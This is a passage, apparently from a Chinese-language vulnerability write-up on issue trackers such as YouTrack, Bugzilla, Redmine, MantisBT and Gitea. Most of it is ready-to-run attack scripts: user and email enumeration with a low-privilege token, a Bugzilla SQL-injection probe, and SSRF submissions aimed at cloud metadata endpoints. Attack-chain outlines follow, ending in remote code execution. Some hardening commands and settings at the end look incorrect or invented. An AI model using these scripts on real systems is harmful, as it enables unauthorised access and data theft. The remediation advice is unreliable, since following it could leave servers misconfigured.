  -H "Authorization: Bearer <LOW_PRIV_TOKEN>"

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def enumerate_users(target, api_token):
    session = requests.Session()
    session.verify = False
    session.headers["Authorization"] = f"Bearer {api_token}"

    r = session.get(f"{target}/api/users?fields=id,login,email,ringId", timeout=10)
    if r.status_code == 200:
        users = r.json()
        print(f"[+] Found {len(users)} users:")
        for user in users:
            print(f"    ID: {user.get('id')} | Login: {user.get('login')} | Email: {user.get('email')}")
    else:
        print(f"[-] Failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    enumerate_users(sys.argv[1], sys.argv[2])

curl -v "http://target/buglist.cgi?chfield=\\'OR+1%3D1--&chfieldvalue=&chfieldfrom=&chfieldto=&order=bug_id&query_format=advanced&ctype=csv" \
  -H "Cookie: <SESSION>"

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def test_bugzilla_sqli(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("Bugzilla_login_session", session_cookie)

    normal_url = f"{target}/buglist.cgi?query_format=advanced&order=bug_id&ctype=csv"
    r_normal = session.get(normal_url, timeout=10)

    sqli_url = f"{target}/buglist.cgi?chfield=\\'OR+1%3D1--&query_format=advanced&order=bug_id&ctype=csv"
    r_sqli = session.get(sqli_url, timeout=10)

    if r_sqli.status_code == 200 and len(r_sqli.text) > len(r_normal.text):
        print("[+] SQL injection likely confirmed")
        print(f"    Normal response: {len(r_normal.text)} bytes")
        print(f"    SQLi response: {len(r_sqli.text)} bytes")
    elif "SQL Error" in r_sqli.text:
        print("[+] SQL error disclosed - injection point exists")
    else:
        print("[-] Not vulnerable or filtered")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_bugzilla_sqli(sys.argv[1], sys.argv[2])

curl -X POST "http://target/post_bug.cgi" \
  -H "Cookie: <SESSION>" \
  -d "product=Test&component=Test&summary=http://169.254.169.254/latest/meta-data/&version=1.0" \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def test_bugzilla_ssrf(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("Bugzilla_login_session", session_cookie)

    ssrf_targets = [
        "http://169.254.169.254/latest/meta-data/",
        "http://127.0.0.1:8080/",
        "http://metadata.google.internal/computeMetadata/v1/",
    ]

    for ssrf_url in ssrf_targets:
        data = {
            "product": "Test",
            "component": "Test",
            "summary": f"Link test: {ssrf_url}",
            "version": "1.0",
            "description": f"Testing SSRF with {ssrf_url}"
        }
        r = session.post(f"{target}/post_bug.cgi", data=data, timeout=15)
        if r.status_code in [200, 302]:
            print(f"[+] SSRF payload submitted: {ssrf_url}")
        else:
            print(f"[-] Failed: {ssrf_url} ({r.status_code})")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_bugzilla_ssrf(sys.argv[1], sys.argv[2])

用户输入 → 过滤器参数 → SQL 拼接 → 数据库执行 → 数据泄露/提权

用户输入 → 模板引擎解析 → 服务端代码执行 → RCE

异常输入 → 认证逻辑错误 → 会话建立 → 未授权访问

恶意文件 → Content-Type 伪装 → 服务端存储 → WebShell 执行

低权限用户 → XSS/SSRF → 管理员凭据 → 管理员操作 → RCE

# Redmine 升级
gem update redmine

# MantisBT 升级（Git）
git pull origin master

# Gitea 升级
# 下载最新二进制或使用容器镜像
docker pull gitea/gitea:latest

# YouTrack
# 使用 Jetbrains Toolbox 或 Docker 升级
docker pull jetbrains/youtrack:latest

# Redmine: 禁用不安全的 Markdown 特性
# config/configuration.yml
default:
  markdown:
    parse_usernames: false
    allow_lists: true

# MantisBT: 启用 CSP
# config/config_inc.php
$g_custom_headers = array('Content-Security-Policy: default-src \'self\'; script-src \'self\'');

# Gitea: 启用 OAuth2 强验证
# app.ini
[oauth2]
UPDATE_AVATAR_URL = false